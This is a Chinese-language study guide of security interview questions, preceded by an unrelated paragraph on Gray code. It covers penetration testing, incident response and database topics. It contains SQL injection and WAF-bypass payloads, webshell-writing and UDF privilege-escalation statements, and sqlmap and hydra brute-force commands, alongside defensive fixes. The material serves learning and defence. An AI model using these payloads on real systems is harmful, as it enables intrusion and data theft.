传统的二进制系统例如数字 3 的表示法为 011,要切换为邻近的数字 4,也就是 100 时,装置中的三个位元都得要转换,因此于未完全转换的过程时装置会经历短暂的,010,001,101,110,111 等其中数种状态,也就是代表着2、1、5、6、7,因此此种数字编码方法于邻近数字转换时有比较大的误差可能范围。格雷码的发明即是用来将误差之可能性缩减至最小,编码的方式定义为每个邻近数字都只相差一个位元,因此也称为最小差异码,可以使装置做数字步进时只更动最少的位元数以提高稳定性。
|
sec-knowleage
|
* [技术面试问题](#技术面试问题)
* [CTF](#ctf)
* [说一个印象深刻的CTF的题目](#说一个印象深刻的ctf的题目)
* [sql二次注入](#sql二次注入)
* [Python](#python)
* [爬虫模块、框架、反爬虫机制(IP->代理池、验证码破解、UA)](#爬虫模块框架反爬虫机制ip-代理池验证码破解ua)
* [并发(多线程、线程池、协程、三个程之间的区别)](#并发多线程线程池协程三个程之间的区别)
* [常用的标准库](#常用的标准库)
* [DJANGO和FLASK区别和使用](#django和flask区别和使用)
* [ORM](#orm)
* [python安全工具编写/源码阅读](#python安全工具编写源码阅读)
* [证明能力](#证明能力)
* [密码学](#密码学)
* [RSA](#rsa)
* [DES](#des)
* [AES](#aes)
* [国内SM系列](#国内sm系列)
* [风险评估](#风险评估)
* [流程](#流程)
* [三要素](#三要素)
* [代码审计](#代码审计)
* [Fority SCA审计JAVA代码](#fority-sca审计java代码)
* [Seay审计PHP代码](#seay审计php代码)
* [源码阅读](#源码阅读)
* [应急响应具体流程](#应急响应具体流程)
* [模型](#模型)
* [实例](#实例)
* [DDOS](#ddos)
* [DDOS是什么](#ddos是什么)
* [实例](#实例-1)
* [主机被入侵](#主机被入侵)
* [渗透测试流程相关](#渗透测试流程相关)
* [渗透测试流程](#渗透测试流程)
* [渗透测试项目](#渗透测试项目)
* [渗透测试具体实施](#渗透测试具体实施)
* [17年OWASP TOP10](#17年owasp-top10)
* [常见的Web安全漏洞](#常见的web安全漏洞)
* [挖过什么逻辑漏洞](#挖过什么逻辑漏洞)
* [订单任意金额修改](#订单任意金额修改)
* [验证码回传](#验证码回传)
* [未进行登陆凭证验证](#未进行登陆凭证验证)
* [接口无限制枚举](#接口无限制枚举)
* [cookie设置存在缺陷](#cookie设置存在缺陷)
* [找回密码功能缺陷](#找回密码功能缺陷)
* [你常用的渗透工具有哪些,最常用的是哪个?](#你常用的渗透工具有哪些最常用的是哪个)
* [扫描:Nessus,AWVS,Nikto](#扫描nessusawvsnikto)
* [SQLmap](#sqlmap)
* [Nmap](#nmap)
* [Metasploit](#metasploit)
* [Hydra](#hydra)
* [kali信息收集工具](#kali信息收集工具)
* [流量分析WireShark](#流量分析wireshark)
* [描述一个你深入研究过的CVE或POC(ms17-010/最新的CVE)](#描述一个你深入研究过的cve或pocms17-010最新的cve)
* [数据库注入](#数据库注入)
* [MySQL面试题](#mysql面试题)
* [MySQL存储引擎?](#mysql存储引擎)
* [什么是事务?](#什么是事务)
* [读锁和写锁](#读锁和写锁)
* [MySQL的索引](#mysql的索引)
* [ORDER BY在注入的运用](#order-by在注入的运用)
* [GPC是什么?GPC之后怎么绕过?](#gpc是什么gpc之后怎么绕过)
* [Mysql一个@和两个@什么区别](#mysql一个和两个什么区别)
* [注入/绕过常用的函数](#注入绕过常用的函数)
* [MySQL存储过程](#mysql存储过程)
* [各种写shell的问题](#各种写shell的问题)
* [注入类型](#注入类型)
* [SQL注入的原理](#sql注入的原理)
* [过waf](#过waf)
* [如何进行SQL注入的防御](#如何进行sql注入的防御)
* [mysql的网站注入,5.0以上和5.0以下有什么区别?](#mysql的网站注入50以上和50以下有什么区别)
* [SQL和NoSQL的区别](#sql和nosql的区别)
* [SQL优点](#sql优点)
* [SQL缺点](#sql缺点)
* [NoSQL优点](#nosql优点)
* [比较](#比较)
* [MongoDB注入方式](#mongodb注入方式)
* [XSS CSRF XXE](#xss-csrf-xxe)
* [CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?](#csrf-和-xss-和-xxe-有什么区别以及修复方式)
* [CSRF、SSRF和重放攻击有什么区别?](#csrfssrf和重放攻击有什么区别)
* [啥是同源策略,跨域有几种方式?](#啥是同源策略跨域有几种方式)
* [如何规避同源策略?](#如何规避同源策略)
* [JSONP](#jsonp)
* [JSONP的劫持](#jsonp的劫持)
* [WebSocket](#websocket)
* [CORS(重点)](#cors重点)
* [与JSONP的比较](#与jsonp的比较)
* [DOM XSS与反射XSS有啥不同,给你10s,如何快速判断一个XSS是否是DOM XSS?](#dom-xss与反射xss有啥不同,给你10s,如何快速判断一个xss是否是dom-xss?)
* [CSP策略](#csp策略)
* [SSRF漏洞原理是什么?利用时有哪些伪协议?](#ssrf漏洞原理是什么利用时有哪些伪协议)
* [漏洞原理](#漏洞原理)
* [ssrf用处](#ssrf用处)
* [漏洞处](#漏洞处)
* [绕过姿势](#绕过姿势)
* [利用协议](#利用协议)
* [漏洞修复](#漏洞修复)
* [在浏览器端,Referer可以篡改吗?](#在浏览器端referer可以篡改吗)
* [xss盲打到内网服务器的利用](#xss盲打到内网服务器的利用)
* [xss代码层防御](#xss代码层防御)
* [文件上传下载遍历漏洞](#文件上传下载遍历漏洞)
* [原理](#原理)
* [修复方案](#修复方案)
* [文件包含漏洞](#文件包含漏洞)
* [类型](#类型)
* [PHP文件包含函数](#php文件包含函数)
* [利用](#利用)
* [修复方案](#修复方案-1)
* [web框架漏洞弱点](#web框架漏洞弱点)
* [服务端注入之Flask框架中服务端模板注入问题](#服务端注入之flask框架中服务端模板注入问题)
* [HTTP协议](#http协议)
* [TCP三次握手四次挥手](#tcp三次握手四次挥手)
* [三次握手](#三次握手)
* [四次挥手](#四次挥手)
* [四层模型](#四层模型)
* [当你输入一个网址,点击访问,会发生什么?](#当你输入一个网址点击访问会发生什么)
* [查找DNS记录](#查找dns记录)
* [建立连接](#建立连接)
* [常见的状态码](#常见的状态码)
* [OSI七层](#osi七层)
* [OSI四层](#osi四层)
* [路由协议](#路由协议)
* [你搭建过的最复杂的网络设备是什么](#你搭建过的最复杂的网络设备是什么)
* [使用过什么硬件设备](#使用过什么硬件设备)
* [Linux运维](#linux运维)
* [启动过程](#启动过程)
* [Linux基线规范](#linux基线规范)
* [账号管理和授权](#账号管理和授权)
* [服务](#服务)
* [文件系统](#文件系统)
* [日志](#日志)
* [IP协议安全要求](#ip协议安全要求)
* [中间件基线规范(APACHE)](#中间件基线规范apache)
* [配置](#配置)
* [禁止](#禁止)
* [隐藏](#隐藏)
* [删除](#删除)
* [webshell检测思路](#webshell检测思路)
* [静态检测](#静态检测)
* [动态检测](#动态检测)
* [日志检测](#日志检测)
* [语法检测](#语法检测)
* [统计学检测](#统计学检测)
* [防范webshell](#防范webshell)
* [计划任务](#计划任务)
* [自动化运维编写过什么脚本](#自动化运维编写过什么脚本)
* [yum用的什么源(本地自搭,挂载)](#yum用的什么源本地自搭挂载)
* [awk sed的使用](#awk-sed的使用)
* [排错思路,排错经验](#排错思路排错经验)
* [日志分析ELK的使用和分析](#日志分析elk的使用和分析)
* [事件发生的分析](#事件发生的分析)
* [用户权限管理(修改)](#用户权限管理修改)
* [防火墙](#防火墙)
* [IPsec VPN](#ipsec-vpn)
* [安全监控工具](#安全监控工具)
* [Linux木马查杀](#linux木马查杀)
* [常见的设备有啥](#常见的设备有啥)
* [Windows运维](#windows运维)
* [基线规范](#基线规范)
* [木马查杀](#木马查杀)
* [计划任务](#计划任务-1)
* [ISO27000和等保(重点等保)](#iso27000和等保重点等保)
* [说一下ISO27000](#说一下iso27000)
* [说一下等级保护制度](#说一下等级保护制度)
* [差异](#差异)
* [共性](#共性)
* [算法](#算法)
* [排序算法:快排 二分 冒泡](#排序算法快排-二分-冒泡)
* [LDAP注入](#ldap注入)
> https://zhuanlan.zhihu.com/p/25582026
> 给你一个网站你是如何来<em>渗透测试</em>的? - 杨文的文章 - 知乎 http://zhuanlan.zhihu.com/p/25605198
# 技术面试问题
## CTF
### 说一个印象深刻的CTF的题目
- Padding Oracle->CBC->密码学(RSA/AES/DSA/SM)
- CRC32
- 反序列化漏洞
#### sql二次注入
第一次进行数据库插入数据的时候,仅仅只是使用了 `addslashes` 或者是借助 `get_magic_quotes_gpc` 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
交友网站,填写年龄处是一个注入点,页面会显示出与你相同年龄的用户有几个。使用and 1=1确定注入点,用order by探测列数,union select探测输出点是第几列,
1. 暴库 `group_concat(schema_name) from information_schema.schemata`
2. 暴表 `group_concat(table_name) from information_schema.schemata where table_schema='hhh'`
3. 获取数据 `concat(flag) from flag`
修复:在从数据库或文件中取数据的时候,也要进行转义或者过滤。
## Python
### 爬虫模块、框架、反爬虫机制(IP->代理池、验证码破解、UA)
### 并发(多线程、线程池、协程、三个程之间的区别)
进程是cpu资源分配的最小单位,线程是cpu调度的最小单位。以前进程既是资源分配也是调度的最小单位,后来为了更合理的使用cpu(实际上是cpu性能越来越好),才将资源分配和调度分开,就有了线程。线程是建立在进程的基础上的一次程序运行单位。
### 常用的标准库
- functools
-
- itertools 迭代器
- count/cycle/repeat
- chain
- groupby 把迭代器中相邻的重复元素挑出来放在一起
- concurrent.futures
- ThreadPoolExecutor
- hashlib
- md5
- sha1
- sha256
- sha512
- logging
- sys.argv argparse读取命令行参数
- pickle 序列化工具
- re 正则
- collections 多种数据类型
- namedtuple
- OrderedDict
- Counter
- os 系统相关的函数
### DJANGO和FLASK区别和使用
### ORM
### python安全工具编写/源码阅读
### 证明能力
- python安全工具开发
- python项目,记一下技术细节
## 密码学
### RSA
### DES
### AES
### 国内SM系列
## 风险评估
### 流程
### 三要素
- 资产:资产价值
- 威胁:威胁主体、影响对象、出现频率、动机等
- 脆弱性:资产弱点的严重程度‘
## 代码审计
### Fority SCA审计JAVA代码
fortify用到什么模块? 过滤器 自定义规则 生成报告
### Seay审计PHP代码
### 源码阅读
## 应急响应具体流程
### 模型
> https://zhuanlan.zhihu.com/p/26542790
PDCERF模型
- Prepare(准备):准备用来检测的工具和人
- Detection(检测):紧急事件监测:包括防火墙、系统、web服务器、IDS/WAF/SIEM中的日志,不正常或者是执行了越权操作的用户,甚至还有管理员的报告
- Containment(抑制):首先先控制受害范围,不要让攻击的影响继续蔓延到其他的IT资产和业务环境,切记不要直接一股脑的投入全部精力到封堵后门。紧接着要做的是去寻找根源原因,彻底解决,封堵攻击源,把业务恢复到更张水平
- Eradication(根除)
- Recover(恢复)
- Follow-Up(跟踪):根据各种监控去确定没有其他的攻击行为和攻击向量,紧接着就是开会反省此次事件,写报告,持续改进工作流程和工作缓解
### 实例
#### DDOS
##### DDOS是什么
分布式拒绝服务攻击(DDoS)是目前黑客经常采用而难以防范的攻击手段。DoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。
DDOS攻击手段是在传统的DOS攻击基础之上产生的一类攻击方式。单一的DOS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DOS攻击的困难程度加大了——目标对恶意攻击包的“消化能力”加强了不少,例如你的攻击软件每秒钟可以发送3,000个攻击包,但我的主机与网络带宽每秒钟可以处理10,000个攻击包,这样一来攻击就不会产生什么效果这时侯分布式的拒绝服务攻击手段(DDOS)就应运而生了。
如果说计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用的话,攻击者使用10台攻击机同时攻击呢?用100台呢?DDOS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。通常,被攻击的服务器有以下症状:1、被攻击主机上有大量等待的TCP连接;2、网络中充斥着大量的无用的数据包,源地址为假;3、制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯;4、利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的服务请求,使受害主机无法及时处理所有正常请求;5、严重时会造成系统死机
#### 实例
我司网站www.catroot.cn的IP 223.223.223.223 被人DDOS攻击,流量达9G,并且机房流量清洗无效,所以把223.223.223.223封停,导致网站不能访问,请作出紧急预案。
> https://www.zhihu.com/question/19581905
- 网络设备设施
- 拼带宽,加大带宽,但是成本太高
- 使用硬件防火墙
- 选用高性能设备
- 抗D思想和方案
- 负载均衡
- 花钱买流量清洗服务
- CDN:web层,比如cc攻击
- 分布式集群防御
- 高防:防大部分攻击,udp、大型的cc攻击
- 预防为主
- 系统漏洞
- 系统资源优化:
- 过滤不必要的服务和端口
- 限制特定流量:检查访问来源做适当限制
#### 主机被入侵
1. 优先提取易消失的数据
- 内存信息 `free -m` `htop
- 系统进程 `ps top netstat ss`
- 路由信息 `tracert`
2. `ifconfig`查看网卡流量,检查网卡的发送、接收数据情况
2. `NetHogs`实时监控带宽占用状况
2. 查看Linux系统日志 `/var/log`
4. `ClamAV`杀毒软件
## 渗透测试流程相关
### 渗透测试流程
1. 项目访谈
2. 信息收集:whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息
4. 漏洞扫描:Nessus, AWVS
5. 手动挖掘:逻辑漏洞
6. 验证漏洞
7. 修复建议
8. (如果有)基线检查/复验漏洞
9. 输出报告
- 概述
- 测试基本信息
- 测试范围
- 测试时间
- 测试任务
- 测试过程
- 信息安全风险综合分析
- 整体风险分析
- 风险影响分析
- 系统安全分析
- 安全漏洞列表
- 解决方案建议
- 复测报告
### 渗透测试项目
用七八句话概括一下发现、验证漏洞细节、扮演角色、具体工作。
如果技术人员有兴趣会继续问,接着再引导到别处,让自己多说说细节。
### 渗透测试具体实施
### 17年OWASP TOP10
- 注入:sql,nosql,ldap,os
- 失效的身份认证:
- 敏感信息泄漏
- XXE XML外部实体
- 失效的访问控制:管理页面仅能管理员权限访问;越权漏洞
- 安全配置错误:页面错误信息,默认密码,使用已知漏洞的应用
- XSS
- 不安全的反序列化:一个PHP论坛使用PHP对象序列化来保存一个cookie,用户修改cookie即可伪造管理员登陆
- 使用含有已知漏洞的组件:比如structs2框架
- 不足的日志记录和监控:代码被删除,无法溯源;记录登陆失败次数;监控问题没被管理员响应
### 常见的Web安全漏洞
- SQL注入
- XSS
- 文件遍历、文件上传、文件下载
- 垂直越权、水平越权
- 逻辑漏洞
### 挖过什么逻辑漏洞
#### 订单任意金额修改
相同价格增加订单数量,相同订单数量减少产品价格,订单价格设定为负数。
预防思路:
- 订单需要多重效验
- 订单数值较大的时候需要人工审核
#### 验证码回传
漏洞一般发生在账号密码找回、账号注册、支付订单等。验证码发送途径一般为手机短信、邮箱邮件
预防思路:
- response数据内不包含验证码,验证方式主要采取后端验证,但是缺点是服务器的运算压力也会随之增加
- 如果要进行前端验证的话也可以,但是需要进行加密
#### 未进行登陆凭证验证
有些业务的接口,因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷,导致黑客可以未经授权访问这些敏感信息甚至是越权操作。比如后台页面、订单ID枚举、敏感信息可下载、没验证ID或cookie验证导致越权。
预防思路:
- 对敏感数据存在的接口和页面做cookie,ssid,token或者其它验证
#### 接口无限制枚举
- 某电商登陆接口无验证导致撞库
- 某招聘网验证码无限制枚举
- 某快递公司优惠券枚举
- 某电商会员卡卡号枚举
预防思路:
- 在输入接口设置验证,如token,验证码等。如果设定验证码,最好不要单纯的采取一个前端验证,最好选择后端验证。如果设定token,请确保每个token只能采用一次,并且对token设定时间参数。
- 注册界面的接口不要返回太多敏感信息,以防遭到黑客制作枚举字典。
- 验证码不要用短数字,尽量6位以上,最好是以字母加数字进行组合,并且验证码需要设定时间期限。
- 优惠券,VIP卡号请尽量不要存在规律性和简短性,并且优惠券最好是以数字加字母进行组合。
#### cookie设置存在缺陷
- Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单,导致黑客可以对cookie的效验值进行一个枚举.
- cookie存在被盗风险,即用户重置密码后使用老cookie依然可以通过验证
- 用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。不能采取简单的base64等算法
- 越权:平行越权:权限类型不变,权限ID改变;垂直越权:权限ID不变,权限类型改变;交叉越权:即改变ID,也改变权限
预防思路
1. cookie中设定多个验证,比如自如APP的cookie中,需要sign和ssid两个参数配对,才能返回数据。
2. 用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
3. 用户的cookie的生成过程中最好带入用户的密码,一旦密码改变,cookie的值也会改变。
4. cookie中设定session参数,以防cookie可以长时间生效。
5. 根据业务不同还有很多方法
### 找回密码功能缺陷
2. 单纯读取内存值作为用户凭证
3. 电商系统加车、下单漏洞
### 你常用的渗透工具有哪些,最常用的是哪个?
#### 扫描:Nessus,AWVS,Nikto
#### SQLmap
> https://blog.csdn.net/ski_12/article/details/58188331
常用参数
```
-u 单个URL -m xx.txt 多个URL
-d "mysql://user:password@10.10.10.137:3306/dvwa" 作为服务器客户端,直接连接数据库
--data post/get都适用
-p 指定扫描的参数
-r 读取文件
-f 指纹信息
--tamper 混淆脚本,用于应用层过滤
--cookie --user-agent --host等等http头的修改
--threads 并发线程 默认为1
--dbms MySQL<5.0> 指定数据库或版本
–level=LEVEL 执行测试的等级(1-5,默认为 1)
–risk=RISK 执行测试的风险(0-3,默认为 1) Risk升高可造成数据被篡改等风险
–current-db / 获取当前数据库名称
–dbs 枚举数据库管理系统数据库
–tables 枚举 DBMS 数据库中的表
–columns 枚举 DBMS 数据库表列
-D DB 要进行枚举的数据库名
-T TBL 要进行枚举的数据库表
-C COL 要进行枚举的数据库列
-U USER 用来进行枚举的数据库用户
```
常用的tamper
> 本地:sqlmap-tamper分类.xlsx
```
base64encode.py #转为b64编码
charencode.py url编码
chardoubleencode.py 双URL编码
unmagicquotes.py 宽字节
randomcomments.py 用/**/分割SQL关键字
space2plus.py space2comment.py space2xxxx.py 替换空格为xx
```
#### Nmap
```
nmap hostname/ip或者多个ip或者子网192.168.123.*
-iL ip.txt 扫描ip.txt的所有ip
-A 包含了-sV,-O,探测操作系统信息和路由跟踪。一般不用,是激烈扫描
-O 探测操作系统信息
-sV 查找主机服务版本号
-sA 探测该主机是否使用了包过滤器或防火墙
-sS 半开扫描,一般不会记入日志,不过需要root权限。
-sT TCP connect()扫描,这种方式会在目标主机的日志中记录大批的链接请求以及错误信息。
-sP ping扫描,加上这个参数会使用ping扫描,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping,却实际存在。
-sN TCP空扫描
-F 快速扫描
-Pn 扫描之前不使用ping,适用于防火墙禁止ping,比较有用。
-p 指定端口/端口范围
-oN 将报告写入文件
-v 详细信息
-T<0-5> 设定速度
```
Nmap还可以用到爆破等一些脚本
```
--script all 使用所有脚本
--script=sql.injection.nse sql注入
--script="smb*" 扫smb系列
```
#### Metasploit
使用内置模块。HR:常用的模块有哪些?
tcp反向链接 msfvenom
#### Hydra
密码爆破工具,FTP,MSSQL,MYSQL,POP3,SSH,rdp,
```bash
hydra IP -l loginname -P pass.txt PROTROCL
hydra 127.0.0.1 -l root -P pass.txt ssh
```
#### kali信息收集工具
- dig
- whois
- host:查询dns服务器
- nslookup
- 域名枚举:fierse -dns
- maltego
- onesixtyone
#### 流量分析WireShark
CTF
### 描述一个你深入研究过的CVE或POC(ms17-010/最新的CVE)
## 数据库注入
> https://www.zhihu.com/question/22953267
### MySQL面试题
#### MySQL存储引擎?
1. InnoDB:主流的存储引擎。支持事务、支持行锁、支持非锁定读、支持外键约束
- 为MySQL提供了具有提交、回滚和崩溃恢复能力的事物安全(ACID兼容)存储引擎。InnoDB锁定在行级并且也在 SELECT语句中提供一个类似Oracle的非锁定读。这些功能增加了多用户部署和性能。在SQL查询中,可以自由地将InnoDB类型的表和其他MySQL的表类型混合起来,甚至在同一个查询中也可以混合
- InnoDB存储引擎为在主内存中缓存数据和索引而维持它自己的缓冲池。InnoDB将它的表和索引在一个逻辑表空间中,表空间可以包含数个文件(或原始磁盘文件)。这与MyISAM表不同,比如在MyISAM表中每个表被存放在分离的文件中。InnoDB表可以是任何尺寸,即使在文 件尺寸被限制为2GB的操作系统上
- InnoDB支持外键完整性约束,存储表中的数据时,每张表的存储都按主键顺序存放,如果没有显示在表定义时指定主键,InnoDB会为每一行生成一个6字节的ROWID,并以此作为主键
2. MyISAM:访问速度快,不支持事务,逐渐被淘汰
3. MEMORY:BTREE索引或者HASH索引。将表中数据放在内存中,并发性能差。`information_schema`用的是该引擎
4. MERGE、Archive等等不常用的
#### 什么是事务?
事务是一组原子性的SQL语句或者说是一个独立的工作单元,如果数据库引擎能够成功对数据库应用这组SQL语句,那么就执行,如果其中有任何一条语句因为崩溃或其它原因无法执行,那么所有的语句都不会执行。也就是说,事务内的语句,要么全部执行成功,要么全部执行失败。
举个银行应用的典型例子:
假设银行的数据库有两张表:支票表和储蓄表,现在某个客户A要从其支票账户转移2000元到其储蓄账户,那么至少需求三个步骤:
a.检查A的支票账户余额高于2000元;
b.从A的支票账户余额中减去2000元;
c.在A的储蓄账户余额中增加2000元。
这三个步骤必须要打包在一个事务中,任何一个步骤失败,则必须要回滚所有的步骤,否则A作为银行的客户就可能要莫名损失2000元,就出问题了。这就是一个典型的事务,这个事务是不可分割的最小工作单元,整个事务中的所有操作要么全部提交成功,要么全部失败回滚,不可能只执行其中一部分,这也是事务的原子性特征。
#### 读锁和写锁
读锁是共享的,即相互不阻塞的,多个客户在同一时刻可以读取同一资源,互不干扰。写锁是排他的,即一个写锁会阻塞其它的写锁和读锁,只有这样,才能确保给定时间内,只有一个用户能执行写入,防止其它用户读取正在写入的同一资源。写锁优先级高于读锁。
#### MySQL的索引
索引是帮助MySQL高效获取数据的数据结构。MYISAM和InnoDB存储引擎只支持BTree索引;MEMORY和HEAP储存引擎可以支持HASH和BTREE索引。
#### ORDER BY在注入的运用
#### GPC是什么?GPC之后怎么绕过?
如果`magic_quotes_gpc=On`,PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染。
#### Mysql一个@和两个@什么区别
- @为用户变量,使用`SET @var1=1`赋值
- @@ 为系统变量 ,包括全局变量`show global variables \G;`和会话变量`show session variables \G;`
#### 注入/绕过常用的函数
1. 基于布尔SQL盲注
- `left(database(),1)>'s'`
- `ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+`
- `ascii(substr((select database()),1,1))=98`
- `ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23`
- `regexp`正则注入 `select user() regexp '^[a-z]';`
- `select user() like 'ro%'`
2. 基于报错的SQL盲注
- `Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a; `
#### MySQL存储过程
#### 各种写shell的问题
1. 写shell用什么函数?
- `select '<?php phpinfo()> into outfile 'D:/shelltest.php'`
- `dumpfile`
- `file_put_contents`
2. outfile不能用了怎么办? `select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';`可以UDF提权 https://www.cnblogs.com/milantgh/p/5444398.html
3. dumpfile和outfile有什么不一样?outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。
4. sleep()能不能写shell?
5. 写shell的条件?
- 用户权限
- 目录读写权限
- 防止命令执行:`disable_functions`,禁止了`disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source`,但是可以用dl扩展执行命令或者ImageMagick漏洞 https://www.waitalone.cn/imagemagic-bypass-disable_function.html
- open_basedir: 将用户可操作的文件限制在某目录下
####
### 注入类型
1. 基于报错注入
2. 基于布尔的注入,根据返回页面判断条件真假的注入
3. 基于时间的盲注,不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
4. 宽字节注入
5. 联合查询,可以使用 union 的情况下的注入。
6. 堆查询注入,可以同时执行多条语句的执行时的注入。
### SQL注入的原理
通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写问题,意外变成了代码被执行。
### 过waf
> https://blog.csdn.net/wjy397/article/details/53263281
1. 确定waf类型,狗、盾、神、锁、宝、卫士
2. 使用注释符号或者特殊符号或者多个特殊符号重复
```
#
--
-- - //5.6.12特性,需要加空格
--+
//
/**/ //c风格注释
/**//**/ //多个注释
/*letmetest*/
;
# 科学记数法
id=0e1union select
# 空白字符
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
```
3. 使用sql内置函数或者关键字
> 报错注入 https://blog.csdn.net/like98k/article/details/79646512
```
# 常用
extractvalue
updatexml 报错注入
UPDATEXML (XML_document, XPath_string, new_value);
or updatexml(1, concat(0x7e, (version()), 0x7e), 0);
> select * from users where id = 1 and updatexml(1, concat(0x7e, (version()), 0x7e), 0);
> version() database() (SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1
floor()
ceil()
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
concat(version(),'|',user());
concat_ws('|',1,2,3)
Char(49)
Hex('a')
Unhex(61)
过滤了逗号
(1)limit处的逗号:
limit 1 offset 0
(2)字符串截取处的逗号
mid处的逗号:
mid(version() from 1 for 1)
```
4. 利用容器特性,比如iis+asp的环境可能会吞掉%(f%rom->from)造成注入,或者iis支持unicode解析,当我们请求的url存在unicode字符串的话iis会自动将其转换,但waf可能不会拦截造成注入
5. 畸形协议/请求。asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交方式;php+apache解析协议除了get/post外随便定义协议也可能过
7. %0a换行
7. 多次URL编码,waf的一根筋过滤
```
unlencode
base64
json
binary
querystring
htmlencode
unicode
php serialize
```
8. http参数污染,`id=1&id=2&id=3` `id=1,2,3`
### 如何进行SQL注入的防御
1. 关闭应用的错误提示
7. 加waf
2. 对输入进行过滤
3. 限制输入长度
4. 限制好数据库权限,drop/create/truncate等权限谨慎grant
5. 预编译好sql语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入,只能说一定程度上防止注入。还有缓存溢出、终止字符等。
6. 数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后加盐再md5
7. 清晰的编程规范,结对/自动化代码 review ,加大量现成的解决方案(PreparedStatement,ActiveRecord,歧义字符过滤, 只可访问存储过程 balabala)已经让 SQL 注入的风险变得非常低了。
8. 具体的语言如何进行防注入,采用什么安全框架
> 作者:没啥意思
链接:https://www.zhihu.com/question/22953267/answer/23222069
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
> SQL注入问题既不能“靠用户(开发者也是用户)的自觉去避免”,也不能完全脱离用户(开发者也是用户)而指望数据库层面去避免。对于那些不了解SQL注入漏洞细节或不关心SQL注入漏洞或没精力去关心SQL注入漏洞的工程师,你要给他们一条尽可能简单可行透明的方案来避免SQL注入漏洞,告诉他这样写就可以了,这就是安全框架;然后告诉他或者让他的老大告诉他你必须这样写,这就是安全编码规范;然后你有手段在他没有这样写的时候能够检查出来(这比检查出漏洞要容易)并推动他改正,这就是白盒检查。
> 我们现在的互联网产品SQL注入漏洞仍然层出不穷,并不是这套思路有问题,相反恰恰是这套思路没有完善。一方面是框架方案本身不完善,以SQL注入漏洞为例,参数化是防SQL注入框架级方案的重要部分,但仅靠参数化没法很好满足开发过程中一些常见需求,如逗号分割的id列表问题、排序标记的问题等等(其实这些问题真要用参数化的方案解决也可以),使得开发更愿意在这些地方使用非参数化或伪参数化的方法(比如拼接SQL片段后再把整个片段当作参数扔进去exec)。这些问题在参数化的基础上,再加以改进,仍然守着拼接SQL片段时进行强类型转换的思路,仍然是能很好解决的,也就是继续完善参数化方案的问题,而不是看上去那样“参数化解决不了问题”。另一方面,安全编码规范的制定、培训、流程建设和实施保证上也做得远远不到位,开发leader们更希望后面的数据库或者前面的安全防御上能有手段去解决SQL注入问题,对于安全工程师来说,设置并维护几个特征串、语法分析场景也远比做那些安全框架、编码规范、白盒扫描来得要轻松实在,彼此在心照不宣中度过今天,自然不能指望明天能彻底踏实。
### mysql的网站注入,5.0以上和5.0以下有什么区别?
10年前就出了5.0,现在都到5.7了,没啥意义的问题
- 5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
- 5.0以下是多用户单操作,5.0以上是多用户多操做。
### SQL和NoSQL的区别
SQL关系型数据库,NoSQL(Not only SQL)非关系型数据库
#### SQL优点
关系型数据库是指用关系数学模型来表示的数据,其中是以二维表的形式描述数据。
1. 结构稳定,不易修改,常用联表查询
2. 查询能力高,可以操作很复杂的查询
3. 一致性高,处理数据会使用封锁保证数据不被改变
4. 表具有逻辑性,易于理解
#### SQL缺点
1. 不适用高并发读写
2. 不适用海量数据高效读写
3. 层次多,扩展性低
4. 维护一致性开销大
5. 涉及联表查询,复杂,慢
#### NoSQL优点
采用键值对存储数据
1. 由于数据之间没有关系,所以易扩展,也易于查询
2. 数据结构灵活,每个数据都可以有不同的结构
3. 由于降低了一致性的要求,所以查询速度更快
#### 比较
